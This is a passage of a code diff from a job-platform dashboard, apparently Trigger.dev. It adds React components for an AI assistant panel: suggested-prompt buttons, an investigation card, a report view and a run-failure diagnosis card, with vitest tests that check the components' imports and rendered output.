isFullscreen={isFullscreen}
onClose={onClose}
/>
{view === "history" ? (
<DashboardAgentHistory
chats={chats}
currentChatId={active?.chatId ?? ""}
onSelect={switchChat}
onNewChat={newChat}
onDelete={deleteChat}
/>
) : loading ? (
<div className="flex flex-1 items-center justify-center">
<Spinner className="size-5" />
</div>
) : active ? (
<DashboardAgentChat
key={active.chatId}
chatId={active.chatId}
initialMessages={active.messages}
session={active.session}
pendingFirstMessage={active.pendingFirstMessage}
streaming={active.streaming}
clientData={clientData}
apiOrigin={apiOrigin}
actionPath={actionPath}
projectSlug={project.slug}
environmentSlug={environment.slug}
currentPage={currentPage}
onTurnSettled={loadHistory}
/>
) : (
<DashboardAgentDraft
onSubmit={createChat}
projectSlug={project.slug}
environmentSlug={environment.slug}
currentPage={currentPage}
/>
)}
{/* Always mounted, so the chat keeps its transport, session and transcript. */}
<AgentPanelColumn fullscreen={isFullscreen}>
{loading ? (
<div className="flex flex-1 items-center justify-center">
<AgentSpinner size={20} />
</div>
) : active ? (
<DashboardAgentChat
key={active.chatId}
chatId={active.chatId}
initialMessages={active.messages}
session={active.session}
pendingFirstMessage={active.pendingFirstMessage}
streaming={active.streaming}
prefill={prefill && prefill.chatId === active.chatId ? prefill : undefined}
clientData={clientData}
apiOrigin={apiOrigin}
actionPath={actionPath}
projectSlug={project.slug}
environmentSlug={environment.slug}
currentPage={currentPage}
promotedPrompt={promotedPrompt}
pagePaths={pagePaths}
// The generated chat name is written before the turn-complete chunk lands.
onTurnSettled={loadHistory}
onActivityChange={handleActivityChange}
/>
) : (
<DashboardAgentDraft
onSubmit={createChat}
projectSlug={project.slug}
environmentSlug={environment.slug}
currentPage={currentPage}
pageContext={pageContext}
promotedPrompt={promotedPrompt}
/>
)}
</AgentPanelColumn>
</div>
);
}
@@ -1,39 +1,78 @@
import { SparklesIcon } from "@heroicons/react/20/solid";
import { Paragraph } from "~/components/primitives/Paragraph";
import {
BookOpenIcon,
ChartBarIcon,
MagnifyingGlassIcon,
QuestionMarkCircleIcon,
SparklesIcon,
} from "@heroicons/react/20/solid";
import type { AgentPageContext, SuggestedPrompt } from "@internal/dashboard-agent-contracts";
import { useMemo, useState } from "react";
import { Button, type ButtonVariant } from "~/components/primitives/Buttons";
import type { RenderIcon } from "~/components/primitives/Icon";
import {
readDismissedPromptIds,
resolveSuggestedPromptsBySlot,
type ResolvedPromptSlot,
} from "./suggested-prompts";
// Static for now; later these can be page-aware (per currentPage) or server-driven.
const SUGGESTED_PROMPTS = [
"What can you help me with?",
"How do retries work in Trigger.dev?",
"Where do I set environment variables?",
"Explain what this page shows.",
];
// The only slot-to-button-style mapping: a new slot is styled here and nowhere else.
export const PROMPT_SLOT_BUTTON: Record<
ResolvedPromptSlot,
{ variant: ButtonVariant; icon: RenderIcon }
> = {
promoted: { variant: "primary/small", icon: SparklesIcon },
investigate: { variant: "primary/small", icon: MagnifyingGlassIcon },
status: { variant: "secondary/small", icon: ChartBarIcon },
explain: { variant: "tertiary/small", icon: QuestionMarkCircleIcon },
docs: { variant: "docs/small", icon: BookOpenIcon },
};
// This surface never writes dismissals; only the row surfaces do.
export function DashboardAgentSuggestedPrompts({
onSelect,
pageContext,
promoted,
dismissedIds,
}: {
/** Receives the prompt text to send, not the button label. */
onSelect: (prompt: string) => void;
/** Omitted means defaults only. */
pageContext?: AgentPageContext;
promoted?: SuggestedPrompt;
/** Omitted means the component reads its own localStorage. */
dismissedIds?: string[];
}) {
// Read once on mount: re-reading per render churns the resolved set.
const [storedDismissedIds] = useState<string[]>(() =>
dismissedIds !== undefined ? [] : readDismissedPromptIds()
);
const effectiveDismissedIds = dismissedIds ?? storedDismissedIds;
const prompts = useMemo(
() =>
resolveSuggestedPromptsBySlot(
pageContext ?? { page: { kind: "other", path: "" }, signals: [] },
{ promoted, dismissedIds: effectiveDismissedIds }
),
[pageContext, promoted, effectiveDismissedIds]
);
return (
<div className="flex h-full flex-col items-center justify-center gap-4 px-4">
<div className="flex flex-col items-center gap-1.5 text-center">
<SparklesIcon className="size-6 text-indigo-500" />
<Paragraph variant="small" className="text-text-dimmed">
Ask about your runs, errors, or how Trigger.dev works.
</Paragraph>
</div>
<div className="flex w-full flex-col gap-1.5">
{SUGGESTED_PROMPTS.map((prompt) => (
<button
key={prompt}
type="button"
onClick={() => onSelect(prompt)}
className="rounded-md border border-grid-bright bg-background-bright/40 px-3 py-2 text-left text-sm text-text-dimmed transition hover:border-border-bright hover:text-text-bright"
<div className="flex flex-wrap items-center justify-center gap-1.5">
{prompts.map(({ slot, prompt }) => {
const style = PROMPT_SLOT_BUTTON[slot];
return (
<Button
key={prompt.id}
variant={style.variant}
LeadingIcon={style.icon}
onClick={() => onSelect(prompt.prompt)}
>
{prompt}
</button>
))}
</div>
{prompt.label}
</Button>
);
})}
</div>
);
}
@@ -0,0 +1,44 @@
import { MagnifyingGlassIcon } from "@heroicons/react/20/solid";
import { Button } from "~/components/primitives/Buttons";
import { useDashboardAgent } from "./dashboardAgentLauncher";
// Renders nothing when the agent isn't available, so callers need no gate of their own.
export function InvestigateButton({
prompt,
label = "Investigate",
size = "small",
variant = "primary",
fullWidth,
className,
tooltip,
}: {
/** Build it with the helpers in `investigate-prompts.ts`. */
prompt: string;
label?: string;
size?: "small" | "medium";
variant?: "primary" | "secondary" | "minimal";
fullWidth?: boolean;
className?: string;
tooltip?: string;
}) {
const agent = useDashboardAgent();
if (!agent) {
return null;
}
return (
<Button
type="button"
variant={`${variant}/${size}`}
LeadingIcon={MagnifyingGlassIcon}
leadingIconClassName={variant === "primary" ? undefined : "text-text-dimmed"}
fullWidth={fullWidth}
textAlignLeft={fullWidth}
className={className}
tooltip={tooltip}
onClick={() => agent.openWith(prompt)}
>
{label}
</Button>
);
}
@@ -0,0 +1,89 @@
import type { InvestigationBlock } from "@internal/dashboard-agent-contracts";
import { createElement } from "react";
import { renderToStaticMarkup } from "react-dom/server";
import { describe, expect, it } from "vitest";
import { OperatingSystemContextProvider } from "~/components/primitives/OperatingSystemProvider";
import { ShortcutsProvider } from "~/components/primitives/ShortcutsProvider";
import { InvestigationCard } from "./InvestigationCard";
/**
* What the card actually puts on the page, rather than what its source says. Static markup,
* so it proves the rendered output and nothing about interaction: a click is not exercised.
*/
const HYPOTHESIS = {
id: "h1",
statement: "The receipt builder is handed a null order id.",
verdict: "validated" as const,
evidence: [],
};
function block(overrides: {
hypotheses?: InvestigationBlock["investigation"]["hypotheses"];
actions?: NonNullable<InvestigationBlock["capabilities"]>["actions"];
}): InvestigationBlock {
return {
type: "investigation",
id: "inv_1",
revision: 0,
version: 1,
investigation: {
outcome: "concluded",
severity: "crit",
confidence: "high",
title: "send-order-receipt fails on every retry",
headline: "Every attempt dies on a null order id.",
remediation: "Guard the receipt builder against a missing order.",
hypotheses: overrides.hypotheses ?? [],
evidence: [],
},
...(overrides.actions
? { capabilities: { version: 1, actions: overrides.actions } }
: undefined),
} as InvestigationBlock;
}
// The Button primitive reads both of these for its shortcut hints.
function markup(props: Parameters<typeof InvestigationCard>[0]) {
return renderToStaticMarkup(
createElement(
OperatingSystemContextProvider,
{ platform: "mac" },
createElement(ShortcutsProvider, null, createElement(InvestigationCard, props))
)
);
}
describe("the card's sections appear only when they have something in them", () => {
it("leaves out an empty Hypotheses heading, the way Evidence already does", () => {
const html = markup({ block: block({}), defaultExpanded: true });
expect(html).not.toContain("Hypotheses");
expect(html).not.toContain("Evidence");
});
it("shows the heading once there is a hypothesis under it", () => {
const html = markup({ block: block({ hypotheses: [HYPOTHESIS] }), defaultExpanded: true });
expect(html).toContain("Hypotheses");
expect(html).toContain("The receipt builder is handed a null order id.");
});
});
describe("action buttons need a host to hand the intent to", () => {
const actions = [
{
kind: "ask_follow_up" as const,
label: "Keep digging",
intent: { kind: "ask" as const, prompt: "Keep digging into the receipt failures." },
},
];
it("renders no button when the host passes no onIntent, rather than a dead one", () => {
const html = markup({ block: block({ actions }), defaultExpanded: true });
expect(html).not.toContain("Keep digging");
});
it("renders the same action once a host can act on it", () => {
const html = markup({ block: block({ actions }), defaultExpanded: true, onIntent: () => {} });
expect(html).toContain("Keep digging");
});
});
@@ -0,0 +1,68 @@
import { investigationCapabilitiesSchema } from "@internal/dashboard-agent-contracts";
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
const source = readFileSync(new URL("./InvestigationCard.tsx", import.meta.url), "utf8");
describe("InvestigationCard purity", () => {
it("imports nothing from Remix", () => {
expect(source).not.toMatch(/from\s+"@remix-run\//);
});
it("imports no app hooks and no server module", () => {
expect(source).not.toMatch(/from\s+"~\/hooks\//);
expect(source).not.toMatch(/\.server"/);
});
it("calls no hook other than useState", () => {
const hooks = [...source.matchAll(/\buse([A-Z]\w*)\(/g)].map((match) => `use${match[1]}`);
expect([...new Set(hooks)]).toEqual(["useState"]);
});
it("resolves evidence URIs through the host, never a route of its own", () => {
expect(source).toMatch(/resolveUri/);
expect(source).not.toMatch(/\/orgs\//);
});
it("hands its actions to the host as intents, and never composes its own", () => {
expect(source).toMatch(/capabilities\?\.actions/);
expect(source).toMatch(/onIntent\(action\.intent\)/);
expect(source).not.toMatch(/kind:\s*"(ask|navigate)"/);
expect(source).toMatch(/ChatActionsRow/);
});
it("renders no spinner — the transcript owns the one live progress element", () => {
// A spinner in the card would restart on every revision.
expect(source).not.toMatch(/AgentSpinner|ChatProgress|ChatPendingTool/);
});
it("renders nothing action-shaped without a host to hand intents to", () => {
expect(source).toMatch(/if \(!onIntent \|\| actions\.length === 0\) return null;/);
});
});
describe("InvestigationCard action rows", () => {
const twoOfAKind = {
version: 1,
actions: [
{ kind: "ask_follow_up", label: "Why the retries?", intent: { kind: "ask", prompt: "Why?" } },
{
kind: "ask_follow_up",
label: "Why the timeouts?",
intent: { kind: "ask", prompt: "How?" },
},
],
};
it("can be handed two actions of the same kind", () => {
const parsed = investigationCapabilitiesSchema.safeParse(twoOfAKind);
expect(parsed.success).toBe(true);
expect(parsed.success && parsed.data.actions).toHaveLength(2);
});
// Structural: there is no DOM in this suite, so the key is read off the source.
it("keys the rows by position, which two of a kind cannot collide on", () => {
const row = source.match(/actions\.map\(\(action, i\) => \([\s\S]*?key=\{(.+?)\}/);
expect(row?.[1]).toBe("i");
});
});
@@ -0,0 +1,254 @@
// `id` is the investigationId and `revision` climbs: re-emitting replaces, never stacks.
import { ChevronDownIcon, ChevronRightIcon } from "@heroicons/react/20/solid";
import type {
AgentIntent,
Evidence,
HypothesisVerdict,
InvestigationAction,
InvestigationBlock,
InvestigationHypothesis,
InvestigationSeverity,
} from "@internal/dashboard-agent-contracts";
import { useState } from "react";
import { Button } from "~/components/primitives/Buttons";
import { Callout } from "~/components/primitives/Callout";
import {
CategoryBadge,
ConfidenceBadge,
EVIDENCE_ROW_CLASS,
SeverityBadge,
VerdictBadge,
} from "./agent-badges";
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
import { ChatActionsRow } from "./chat-layout";
import type { ResolvedUri } from "./ReportView";
const SEVERITY_LABELS: Record<InvestigationSeverity, string> = {
info: "Info",
warn: "Degraded",
crit: "Critical",
};
const VERDICT_LABELS: Record<HypothesisVerdict, string> = {
testing: "Testing",
validated: "Validated",
invalidated: "Ruled out",
};
type ResolveUri = (uri: string) => ResolvedUri | null;
function Section({ title, children }: { title: string; children: React.ReactNode }) {
return (
<div className="space-y-2">
<h4 className="text-xs font-medium uppercase tracking-wide text-text-dimmed">{title}</h4>
{children}
</div>
);
}
function EvidenceItem({
evidence,
stacked,
resolveUri,
}: {
evidence: Evidence;
stacked?: boolean;
resolveUri?: ResolveUri;
}) {
const resolved = resolveUri?.(evidence.uri) ?? null;
return (
<li className={stacked ? "space-y-1.5" : EVIDENCE_ROW_CLASS}>
{/* The Badge primitive is a grid, so `w-fit` is needed to stop it stretching. */}
<CategoryBadge className="w-fit justify-self-start">{evidence.kind}</CategoryBadge>
<div className="min-w-0 space-y-1.5">
<p className="text-xs text-text-bright">{evidence.label}</p>
{resolved ? (
<a
href={resolved.url}
className="block break-all font-mono text-[10px] text-text-link transition hover:underline"
>
{resolved.label}
</a>
) : (
<div className="break-all font-mono text-[10px] text-text-dimmed">{evidence.uri}</div>
)}
{evidence.excerpt ? (
<pre className="overflow-x-auto rounded-sm border border-grid-bright bg-background-bright px-2 py-1.5 font-mono text-[11px] leading-relaxed text-text-bright scrollbar-thin scrollbar-track-transparent scrollbar-thumb-surface-control">
{evidence.excerpt}
</pre>
) : null}
</div>
</li>
);
}
function HypothesisRow({
hypothesis,
resolveUri,
}: {
hypothesis: InvestigationHypothesis;
resolveUri?: ResolveUri;
}) {
return (
<li className="space-y-3 border-l-2 border-grid-bright pl-4">
<div className="flex flex-wrap items-center gap-2">
<VerdictBadge verdict={hypothesis.verdict}>
{VERDICT_LABELS[hypothesis.verdict]}
</VerdictBadge>
</div>
<p className="text-sm text-text-bright">{hypothesis.statement}</p>
{hypothesis.finding ? <p className="text-xs text-text-dimmed">{hypothesis.finding}</p> : null}
{hypothesis.evidence.length > 0 ? (
<ul className="space-y-5 pt-1">
{hypothesis.evidence.map((evidence, i) => (
<EvidenceItem key={i} evidence={evidence} stacked resolveUri={resolveUri} />
))}
</ul>
) : null}
</li>
);
}
function InvestigationActions({
actions,
onIntent,
}: {
actions: InvestigationAction[];
onIntent?: (intent: AgentIntent) => void;
}) {
if (!onIntent || actions.length === 0) return null;
return (
<div className="border-t border-grid-bright pt-4">
<ChatActionsRow>
{actions.map((action, i) => (
<Button
key={i}
variant={i === 0 ? "primary/small" : "secondary/small"}
onClick={() => onIntent(action.intent)}
>
{action.label}
</Button>
))}
</ChatActionsRow>
</div>
);
}
export function InvestigationCard({
block,
defaultExpanded = false,
resolveUri,
onIntent,
answered = false,
}: {
block: InvestigationBlock;
defaultExpanded?: boolean;
resolveUri?: ResolveUri;
onIntent?: (intent: AgentIntent) => void;
/** The turn kept answering after this card, so "keep digging" has nothing to ask for. */
answered?: boolean;
}) {
const [expanded, setExpanded] = useState(defaultExpanded);
const investigation = block.investigation;
const concluded = investigation.outcome === "concluded";
return (
<AgentCard>
<AgentCardHeader className="space-y-1.5">
<div className="flex flex-wrap items-center gap-2">
<span className="text-xs font-medium text-text-dimmed">Investigation</span>
<SeverityBadge severity={investigation.severity}>
{SEVERITY_LABELS[investigation.severity]}
</SeverityBadge>
<ConfidenceBadge confidence={investigation.confidence} />
</div>
{investigation.runId ? (
<div className="truncate font-mono text-xs text-text-dimmed">{investigation.runId}</div>
) : null}
</AgentCardHeader>
<AgentCardBody density="roomy">
<p className="text-sm font-medium text-text-bright">{investigation.title}</p>
<Section title={concluded ? "What happened" : "What we know"}>
<p className="text-sm text-text-dimmed">{investigation.headline}</p>
</Section>
{/* The schema makes `remediation` and `checkNext` mutually exclusive. */}
{concluded && investigation.remediation ? (
<Section title="How to fix">
<p className="text-sm text-text-dimmed">{investigation.remediation}</p>
</Section>
) : null}
{investigation.checkNext && investigation.checkNext.length > 0 ? (
<Section title="What to check next">
<ol className="list-decimal space-y-2 pl-5">
{investigation.checkNext.map((item, i) => (
<li key={i} className="text-sm text-text-dimmed">
{item}
</li>
))}
</ol>
</Section>
) : null}
{investigation.caveat ? (
<Callout variant="warning">{investigation.caveat.message}</Callout>
) : null}
<div className="space-y-4 border-t border-grid-bright pt-4">
<Button
variant="minimal/small"
onClick={() => setExpanded((v) => !v)}
LeadingIcon={expanded ? ChevronDownIcon : ChevronRightIcon}
aria-expanded={expanded}
>
<span className="flex items-center gap-1.5 text-xs text-text-dimmed">
{expanded ? "Hide how I worked this out" : "How I worked this out"}
<span className="text-text-faint">
({investigation.hypotheses.length} hypothes
{investigation.hypotheses.length === 1 ? "is" : "es"})
</span>
</span>
</Button>
{expanded ? (
<div className="space-y-5 pt-1">
{investigation.hypotheses.length > 0 ? (
<Section title="Hypotheses">
<ul className="space-y-5">
{investigation.hypotheses.map((hypothesis) => (
<HypothesisRow
key={hypothesis.id}
hypothesis={hypothesis}
resolveUri={resolveUri}
/>
))}
</ul>
</Section>
) : null}
{investigation.evidence.length > 0 ? (
<Section title="Evidence">
<ul className="space-y-3">
{investigation.evidence.map((evidence, i) => (
<EvidenceItem key={i} evidence={evidence} resolveUri={resolveUri} />
))}
</ul>
</Section>
) : null}
</div>
) : null}
</div>
<InvestigationActions
actions={(block.capabilities?.actions ?? []).filter(
(action) => !answered || action.kind !== "ask_follow_up"
)}
onIntent={onIntent}
/>
</AgentCardBody>
</AgentCard>
);
}
@@ -0,0 +1,19 @@
import { readFileSync } from "node:fs";
import { describe, expect, it } from "vitest";
const source = readFileSync(new URL("./ReportView.tsx", import.meta.url), "utf8");
describe("ReportView purity", () => {
it("imports nothing from Remix", () => {
expect(source).not.toMatch(/from\s+"@remix-run\//);
});
it("imports no hooks and no server module", () => {
expect(source).not.toMatch(/from\s+"~\/hooks\//);
expect(source).not.toMatch(/\.server"/);
});
it("calls no React hook of its own", () => {
expect(source).not.toMatch(/\buse[A-Z]\w*\(/);
});
});
@@ -0,0 +1,426 @@
/**
* The report card: the panel's rendering of a `report` view block.
*
* Structure, labels and wording come from `report-layout.ts` (`buildReportLayout`),
* the same spec the markdown and ANSI renderers consume, so the card, the CLI and
* the agent's grounding show one report. This file only decides what each layout
* piece looks like as a component; where the text surfaces use a glyph, the card
* uses colour and an icon.
*
* Pure component: props in, no Remix hooks, no loader data, no router context, so
* it renders identically in any host. That means the host resolves `trigger://`
* URIs via `resolveUri`, and in-app footer actions emit an `AgentIntent` instead
* of navigating. Only entries whose target is an external URL are real links.
*/
import {
isTriggerUri,
type AgentIntent,
type ReportViewModelPayload,
type TriggerUri,
} from "@internal/dashboard-agent-contracts";
import { type ReactNode } from "react";
import { healthMessages } from "~/presenters/v3/reports/health/health-messages";
import {
buildReportLayout,
fmtValue,
REPORT_LABELS,
reportFooterStyle,
type LayoutFinding,
type LayoutMetricRow,
} from "~/presenters/v3/reports/report-layout";
import { type ReportMessages } from "~/presenters/v3/reports/report-messages";
import { AgentBadge } from "./agent-badges";
import { seriesEndMs as toSeriesEndMs } from "./report-spark";
import {
ReportBody,
ReportCard,
ReportFindingLine,
ReportFooterAction,
ReportFooterActionLink,
ReportFooterLine,
ReportFooterLink,
ReportFooterNote,
ReportHeaderLine,
ReportHeadline,
ReportMetricList,
ReportMetricRow,
ReportNoteBlock,
ReportProse,
ReportProvenance,
ReportSeverityIcon,
type ReportFooterItem,
} from "./report-sparkline";
export type ResolvedUri = { label: string; url: string };
// --- messages ---------------------------------------------------------------
/**
* Fallback for a report with no registered catalog (an old transcript, a report
* that hasn't shipped its messages): show the raw codes rather than crash or
* invent prose.
*/
const PASSTHROUGH_MESSAGES: ReportMessages = {
metricLabel: (id) => id,
findingReason: (_type, reason) => reason,
readMessage: (code) => code,
exclusionMessage: (code) => code,
observationMessage: (code) => code,
annotationMessage: (code) => code,
statementMessage: (findingType, severity) => `${findingType} ${severity}`,
actionMessage: (code) => code,
};
const CATALOGS: Record<string, ReportMessages> = { health: healthMessages };
function messagesFor(title: string): ReportMessages {
return CATALOGS[title] ?? PASSTHROUGH_MESSAGES;
}
// --- links ------------------------------------------------------------------
/**
* What a `vm.links` entry points at: an external doc URL or a `trigger://` URI.
* They differ because only the host can turn a URI into a route.
*/
type LinkTarget =
| { kind: "none" }
| { kind: "external"; url: string }
| { kind: "resource"; uri: TriggerUri; resolved: ResolvedUri | null };
function classifyLink(
url: string | undefined,
resolveUri: ((uri: string) => ResolvedUri | null) | undefined
): LinkTarget {
if (!url) return { kind: "none" };
if (isTriggerUri(url)) return { kind: "resource", uri: url, resolved: resolveUri?.(url) ?? null };
if (/^https?:\/\//i.test(url)) return { kind: "external", url };
return { kind: "none" };
}
/**
* One footer entry, rendered the way its code says (`reportFooterStyle`). An
* in-app action emits a `navigate` intent, or an `ask` when the report named no
* target, so the user can still get the "how" from the agent.
*/
function footerEntryNode({
code,
label,
target,
onIntent,
pagePath,
}: {
code: string;
label: string;
target: LinkTarget;
onIntent?: (intent: AgentIntent) => void;
/** A host-resolved dashboard path for this action (settings pages). */
pagePath?: string;
}): ReactNode {
const style = reportFooterStyle(code);
if (style === "note") return <ReportFooterNote>{label}</ReportFooterNote>;
// A settings-page action the host resolved wins over everything: the user can
// self-serve it there (e.g. raising the env concurrency limit).
if (style === "action" && pagePath) {
return <ReportFooterActionLink href={pagePath}>{label}</ReportFooterActionLink>;
}
// A docs entry is always the docs button, whatever shape its link arrived in:
// external URL, resolved resource, or nothing (then its canonical docs page).
if (style === "docs") {
const href =
target.kind === "external"
? target.url
: target.kind === "resource" && target.resolved
? target.resolved.url
: DOCS_URL_FALLBACK[code];
if (href) {
return (
<ReportFooterActionLink href={href} docs>
{label}
</ReportFooterActionLink>
);
}
return <ReportFooterNote>{label}</ReportFooterNote>;
}
if (style === "reference") {
const href =
target.kind === "external"
? target.url
: target.kind === "resource" && target.resolved
? target.resolved.url
: REFERENCE_URL_FALLBACK[code];
if (href) {
return (
<ReportFooterLink href={href} external={!href.startsWith("/")}>
{label}
</ReportFooterLink>
);
}
return <ReportFooterNote>{label}</ReportFooterNote>;
}
// An action whose target is a URL stays a button; the arrow says it leaves.
const actionHref =
target.kind === "external"
? target.url
: target.kind === "none"
? ACTION_URL_FALLBACK[code]
: undefined;
if (actionHref) {
return <ReportFooterActionLink href={actionHref}>{label}</ReportFooterActionLink>;
}
const intent: AgentIntent =
target.kind === "resource"
? { kind: "navigate", target: target.uri }
: { kind: "ask", prompt: `How do I ${lowerFirst(label)}?` };
if (!onIntent) return <ReportFooterNote>{label}</ReportFooterNote>;
return <ReportFooterAction onClick={() => onIntent(intent)}>{label}</ReportFooterAction>;
}
function lowerFirst(text: string): string {
return text.charAt(0).toLowerCase() + text.slice(1);
}
/**
* Canonical docs pages for footer codes whose report entry carries no URL.
* Without one the entry degrades to prose, which reads as a bug.
*/
const DOCS_URL_FALLBACK: Record<string, string> = {
concurrency_docs: "https://trigger.dev/docs/queue-concurrency",
retries_docs: "https://trigger.dev/docs/errors-retrying",
queues_docs: "https://trigger.dev/docs/queues",
};
/**
* Canonical destinations for action codes whose report entry carries no URL, so
* the button opens the page instead of asking the agent how to get there.
* Unknown codes keep the `ask` fallback.
*/
const ACTION_URL_FALLBACK: Record<string, string> = {
contact_us_raise_limit: "https://trigger.dev/contact",
};
/** Same idea for cited references: a place to look must stay a link. */
const REFERENCE_URL_FALLBACK: Record<string, string> = {
check_control_plane: "https://status.trigger.dev",
check_platform_status: "https://status.trigger.dev",
};
// --- pieces -----------------------------------------------------------------
function MetricRow({
row,
windowMinutes,
seriesEndMs,
}: {
row: LayoutMetricRow;
windowMinutes: number;
seriesEndMs: number | null;
}) {
// The hero row's annotation is spelled out rather than tucked in with the baseline.
const annotation = row.note?.kind === "annotation" ? row.note.text : undefined;
return (
<ReportMetricRow
label={row.label}
value={row.value}
severity={row.severity}
subRows={row.subRows.length > 0 ? row.subRows : undefined}
delta={row.delta}
note={row.hero && annotation ? undefined : row.note?.text}
heroNote={row.hero ? annotation : undefined}
series={row.series}
windowMinutes={windowMinutes}
anomalyMinutes={row.anomalyMinutes}
seriesEndMs={seriesEndMs}
formatPoint={(value) => fmtValue(value, row.unit)}
/>
);
}
/**
* A finding's evidence: its metric grid, then the `why:` block. The verdict itself
* is the headline or the finding line above.
*/
function FindingBody({
finding,
windowMinutes,
seriesEndMs,
}: {
finding: LayoutFinding;
windowMinutes: number;
seriesEndMs: number | null;
}) {
return (
<div className="space-y-2.5">
<ReportMetricList>
{finding.metrics.map((row) => (
<MetricRow
key={row.id}
row={row}
windowMinutes={windowMinutes}
seriesEndMs={seriesEndMs}
/>
))}
</ReportMetricList>
<ReportNoteBlock label={REPORT_LABELS.why}>
{finding.why.map((line, i) => (
<ReportProse
key={i}
text={line}
entities={finding.attributionKey ? [finding.attributionKey] : undefined}
/>
))}
</ReportNoteBlock>
</div>
);
}
// --- card -------------------------------------------------------------------
export function ReportView({
vm,
/** The `trigger://…/report/{key}` this snapshot came from, shown as its provenance. */
reportUri,
/** Emitted when the user clicks a footer action. The host decides what to do. */
onIntent,
/** Host-supplied `trigger://` resolver. Without one, resource links stay intents. */
resolveUri,
/**
* Host-supplied dashboard paths for footer actions that live on a settings page
* rather than behind a URI, keyed by footer code. Only the host knows the
* org/project/env slugs.
*/
pagePaths,
}: {
vm: ReportViewModelPayload;
reportUri?: string;
onIntent?: (intent: AgentIntent) => void;
resolveUri?: (uri: string) => ResolvedUri | null;
pagePaths?: Record<string, string>;
}) {
const layout = buildReportLayout(vm, messagesFor(vm.title));
const severity = layout.headline.severity;
const seriesEndMs = toSeriesEndMs(vm.generatedAt);
const linkByKey = (key: string | undefined) =>
key === undefined ? undefined : vm.links.find((link) => link.key === key)?.url;
// Links a footer action already speaks for aren't repeated as reading matter.
const footerLinkKeys = new Set(layout.footer.map((entry) => entry.link).filter(Boolean));
const footerItems: ReportFooterItem[] = layout.footer.map((entry) => ({
code: entry.code,
node: footerEntryNode({
code: entry.code,
label: entry.label,
target: classifyLink(linkByKey(entry.link), resolveUri),
onIntent,
pagePath: pagePaths?.[entry.code],
}),
}));
// Resources the report cites, resolved to dashboard links by the host. Cited,
// not offered, so a text link; our docs still get the docs button.
for (const link of vm.links) {
if (footerLinkKeys.has(link.key)) continue;
const target = classifyLink(link.url, resolveUri);
if (target.kind === "external") {
footerItems.push({
code: link.key,
node:
reportFooterStyle(link.key) === "docs" ? (
<ReportFooterActionLink href={target.url} docs>
{link.label}
</ReportFooterActionLink>
) : (
<ReportFooterLink href={target.url} external>
{link.label}
</ReportFooterLink>
),
});
} else if (target.kind === "resource" && target.resolved) {
footerItems.push({
code: link.key,
node: (
<ReportFooterLink href={target.resolved.url}>{target.resolved.label}</ReportFooterLink>
),
});
}
}
return (
<ReportCard>
<ReportHeaderLine name={layout.header.name} meta={layout.header.meta}>
{layout.trust ? <AgentBadge tone="warning">{layout.trust.badge}</AgentBadge> : null}
</ReportHeaderLine>
<ReportBody dimmed={layout.trust !== undefined}>
<ReportHeadline
severity={severity}
tone={layout.headline.tone}
phrase={layout.headline.phrase}
continuation={layout.headline.text}
/>
{layout.trust ? <p className="text-sm text-warning">{layout.trust.note}</p> : null}
{layout.hero && layout.hero.expanded ? (
<FindingBody
finding={layout.hero}
windowMinutes={vm.windowMinutes}
seriesEndMs={seriesEndMs}
/>
) : null}
{layout.findings.length > 0 || layout.statements.length > 0 ? (
<div className="space-y-2.5">
{layout.findings.map((finding, i) => (
<div key={`${finding.type}-${i}`} className="space-y-2">
<ReportFindingLine
severity={finding.severity}
tone={finding.tone}
type={finding.label}
bright={finding.severity !== "ok"}
text={finding.text}
/>
{finding.expanded ? (
<div className="pl-[1.375rem]">
<FindingBody
finding={finding}
windowMinutes={vm.windowMinutes}
seriesEndMs={seriesEndMs}
/>
</div>
) : null}
</div>
))}
{layout.statements.map((statement, i) => (
<p key={`s${i}`} className="flex items-center gap-1.5 text-sm">
<ReportSeverityIcon severity={statement.severity} tone={statement.tone} />
<span className="text-text-dimmed">{statement.text}</span>
</p>
))}
</div>
) : null}
<ReportNoteBlock label={REPORT_LABELS.read}>
{layout.reads.map((read, i) => (
<ReportProse key={i} text={read} />
))}
</ReportNoteBlock>
<ReportFooterLine items={footerItems} />
{reportUri ? <ReportProvenance uri={reportUri} /> : null}
</ReportBody>
</ReportCard>
);
}
@@ -1,36 +1,75 @@
import { Link } from "@remix-run/react";
import { BookOpenIcon } from "@heroicons/react/20/solid";
import type { DiagnosisBlock } from "@internal/dashboard-agent";
import { Badge } from "~/components/primitives/Badge";
import { LinkButton } from "~/components/primitives/Buttons";
import { TextLink } from "~/components/primitives/TextLink";
import { toSafeUrl } from "~/components/runs/v3/agent/AgentMessageView";
import { CategoryBadge, ConfidenceBadge, EVIDENCE_ROW_CLASS } from "./agent-badges";
import { AgentCard, AgentCardBody, AgentCardHeader } from "./agent-card";
import { useOptionalEnvironment } from "~/hooks/useEnvironment";
import { useOptionalOrganization } from "~/hooks/useOrganizations";
import { useOptionalProject } from "~/hooks/useProject";
import { cn } from "~/utils/cn";
import { v3RunPath } from "~/utils/pathBuilder";
import { planDiagnosisActions } from "./diagnosis-actions";
import { isRunFriendlyId } from "./run-id";
// The "why did this run fail?" failure card — the first block in the dashboard
// agent's view catalog. Rendered from a `diagnosis` block the agent emits via
// the render_view tool (see internal-packages/dashboard-agent tool-schemas).
// Everything here is plain presentation of validated fields; no markup comes
// from the model, so there's nothing to sanitize beyond outbound URLs.
// No markup comes from the model, so only outbound URLs need checking.
const CATEGORY_LABELS: Record<DiagnosisBlock["category"], string> = {
user_code_error: "Code error",
configuration: "Configuration",
dependency: "Dependency",
timeout: "Timeout",
out_of_memory: "Out of memory",
rate_limit: "Rate limit",
external_service: "External service",
infrastructure: "Infrastructure",
cancellation: "Cancelled",
unknown: "Unknown",
};
function Em({ children }: { children: React.ReactNode }) {
return <span className="font-semibold text-text-bright">{children}</span>;
}
const CONFIDENCE_STYLES: Record<DiagnosisBlock["confidence"], string> = {
high: "border-emerald-500/40 text-emerald-400",
medium: "border-amber-500/40 text-amber-400",
low: "border-border-bright text-text-dimmed",
const CATEGORY_SENTENCES: Record<DiagnosisBlock["category"], React.ReactNode> = {
user_code_error: (
<>
A <Em>bug</Em> in the task's own code
</>
),
configuration: (
<>
A <Em>misconfigured setting</Em> on the task, queue or environment
</>
),
dependency: (
<>
A <Em>package or build dependency</Em> problem
</>
),
timeout: (
<>
The run hit its <Em>time limit</Em>
</>
),
out_of_memory: (
<>
The run ran out of <Em>memory</Em>
</>
),
rate_limit: (
<>
A <Em>rate limit</Em> was hit
</>
),
external_service: (
<>
A <Em>third-party service</Em> the task calls failed
</>
),
infrastructure: (
<>
